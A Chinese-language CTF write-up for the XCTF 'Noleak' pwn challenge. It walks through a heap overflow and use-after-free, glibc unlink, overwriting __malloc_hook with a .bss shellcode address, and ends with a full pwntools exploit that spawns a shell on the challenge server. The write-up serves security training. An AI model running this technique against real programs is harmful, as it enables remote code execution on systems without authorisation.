攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)

本题主要考察对堆的利用,需要有一定的背景知识,本文也参考了几篇大佬的Writeup,让本文尽可能详细。

题目分析

checksec:
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第1张图片
本题的RELRO是完全开启的,意味着我们不能通过修改GOT表来进行攻击

以下是源代码:
main函数
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第2张图片
delete函数:
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第3张图片
这里可以看到free之后没有把指针置空,可能有UAF或者Dubble Free

edit函数:
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第4张图片
在本函数中,没有检测大小就直接写入,明显的堆溢出漏洞
总的来说,本题的漏洞比较明显,不过对于漏洞的利用还是有点复杂

基础知识

chunk结构

本题是64位程序,按64位说明,32位自行转化一下即可。
allocated chunk:指针指向数据部分,chunk大小为分配空间大小加上0x10(pre_size和size都是8bytes)
在这里插入图片描述
free chunk:指针指向fd(如果未置空,因此能够修改chunk的结构)
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第5张图片
在size中,最后一位为0表示前一个chunk为free,为1表示allocated

__malloc_hook

前面已经说过,本题无法利用修改GOT表进行攻击,因此我们考虑修改__malloc_hook来执行shellcode。只要我们能把__malloc_hook的值修改为shellcode的地址即可实现。
那么, __malloc_hook在什么地方呢?

malloc机制中的unsorted bin、small bins以及large bins中的双向链表中的第一个chunk以及最后一个chunk中的 fd\bk 字段,都指向了一个结构(类型为malloc_state,变量名称为arena)的固定偏移的位置,在本题中,当我们free一个unsorted bin时,它的fd指针会指向libc中main_arena+0x58地址处。而在这个结构之上的固定偏移位置,则是 __malloc_hook 的地址(其值被默认设置为null)

漏洞利用

本题的漏洞利用思路为利用堆溢出修改chunk的结构,通过unlink修改buf数组中指向的位置,利用edit函数然后把shellcode写入bss段,然后再利用edit函数修改__malloc_hook为bss段地址来执行shellcode,详细过程如下

  1. 调用add函数在堆上创建两个chunk,此时堆结构如下:
    . 攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第6张图片
  2. 使用edit函数修改chunk0的数据区,在其中伪造一个chunk,并通过堆溢出修改chunk 1的pre_size,此时堆机构如下:
    攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第7张图片
    这样,当我们delete buf[1]时,由于我们伪造了一个chunk,并且的状态为free,就会把chunk1和伪造的chunk合并,合并会执行unlink操作,具体过程如下:

伪造chunk->fd->bk == 伪造chunk->bk;
伪造chunk->bk->fd == 伪造chunk->fd;

unlink函数

>void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{
	FD = P->fd;
	BK = P->bk;
	if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
	       malloc_printerr(check_action,"corrupted double-linked list",P);
	else
	       {
		       FD->bk = BK;
		       BK->fd = FD;
	       }
}

但是在执行unlink之前,系统会先检查伪造的chunk是否满足:

伪造chunk->fd->bk == 伪造chunk &&伪造chunk->bk->fd == 伪造chunk

当我们按上面的方法构造chunk时,fd和bk是满足条件的

  1. 调用delete函数删除buf[1],此时会执行unlink操作,buf[0] = buf[-3] (buf-0x18)

  2. 调用edit编辑buf[0],payload为p64(0) * 3 + p64(bss) + p64(buf) + p64(0) * 3 + p64(0x20),此时buf[0]指向bss段首部,buf[1]指向buf,并且我们在buf中又伪造了一个chunk,buf结构如下:
    攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第8张图片

  3. 再次调用add申请两个chunk,此时buf结构如下
    攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第9张图片
    堆结构如下:
    攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第10张图片
    可以看出buf[2]指向的地址为buf[0]正常malloc时候的地址+0x10,这是因为我们free buf[1]时进行了合并,chunk1和伪造的chunk都合并进入了top chunk

  4. 调用delete删除buf[2],buf[2]指向的chunk会被收入unsorted bin,此时堆结构如下:
    攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第11张图片

  5. 调用edit修改buf[2],payload为p64(0) + p64(buf + 0x8 * 4),这样的话之前在buf中伪造的chunk也进入了unsorted bin

  6. 再调用add申请一个和chunk2一样大小的chunk,这样unsorted bin中就只剩下伪造的chunk,所以main arena+0x58的地址就被留在了buf[6]

  7. 调用edit向buf[1](buf)中写入payload:p64(bss) + p64(buf) + p64(0) * 4 + ‘\x10’,这样就把buf[6]修改为__malloc_hook的地址

这里说一下为什么传’\x10’进去就够了
我们看一下题目给的 libc,找到malloc_trim(),反编译,如下图所示
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第12张图片
然后是malloc_trim()的源代码
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第13张图片
对比可知,其中的0x3c4b20就是main_arena的地址,而__maloc_hook在libc中的地址为0x3c4b10
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第14张图片
libc被加载到文件中是按页加载的,同一页中只有最低3位不同,而main_arena的偏移(main_arena+0x58)和__malloc_hook很近,只有最低两位不同,因此把最后两位换成0x10即可

  1. 调用edit向buf[0](bss首部)中写入shellcode

  2. 调用edit向buf[6]中写入shellcode的地址

  3. 再调用一次add,当执行malloc时就执行了我们的shellcode

Exp

from pwn import *

def add(size, content):
	print r.recvuntil("Your choice :")
	r.sendline('1')
	print r.recvuntil("Size: ")
	r.sendline(size)
	print r.recvuntil("Data: ")
	r.send(content)

def delete(index):
	print r.recvuntil("Your choice :")
	r.sendline('2')
	print r.recvuntil("Index: ")
	r.sendline(index)

def edit(index, size, content):
	print r.recvuntil("Your choice :")
	r.sendline('3')
	print r.recvuntil("Index: ")
	r.sendline(index)
	print r.recvuntil("Size: ")
	r.sendline(size)
	print r.recvuntil("Data: ")
	r.send(content)


r = remote("111.198.29.45", 39021)
context(arch = "amd64", os = 'linux')
elf = ELF("./Noleak/timu")
libc = ELF("./Noleak/libc-2.23.so")
malloc_hook = libc.symbols['__malloc_hook']
bss = 0x601020
buf = 0x601040


#	chunk 0 
add(str(0x90), 'a\n')
#	chunk 1
add(str(0x90), 'b\n')
#	fade chunk
#	pre_size, size
payload = p64(0) + p64(0x91) 
#	fd, bk  
payload += p64(buf - 0x18) + p64(buf - 0x10)  
payload += p64(0) * 14
#	change chunk size of 1
payload += p64(0x90) + p64(0xa0)  

edit('0', str(len(payload)), payload)
delete('1')
payload = p64(0) * 3 + p64(bss) + p64(buf) + p64(0) * 3 + p64(0x20)
#	change buf[0] pointer to bss, buf[1] to buf
edit('0', str(len(payload)), payload) 

#	chunk 2
add(str(0x100), 'c\n')
#	chunk 3
add(str(0x100), 'd\n')

delete('2')
payload = p64(0) + p64(buf + 0x8 * 4)
edit('2', str(len(payload)), payload)

#	chunk 4, addr is the same with chunk2
add(str(0x100), 'e\n')

payload = p64(bss) + p64(buf) + p64(0) * 4 + '\x10'
edit('1', str(len(payload)), payload)

shellcode = asm(shellcraft.sh())
edit('0', str(len(shellcode)), shellcode)
#	change malloc hook
edit('6', '8', p64(bss))

print r.recvuntil("Your choice :")
r.sendline('1')
print r.recvuntil("Size: ")
r.sendline('1')

r.interactive()

成功得到shell:
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)_第15张图片

你可能感兴趣的:(攻防世界-PWN)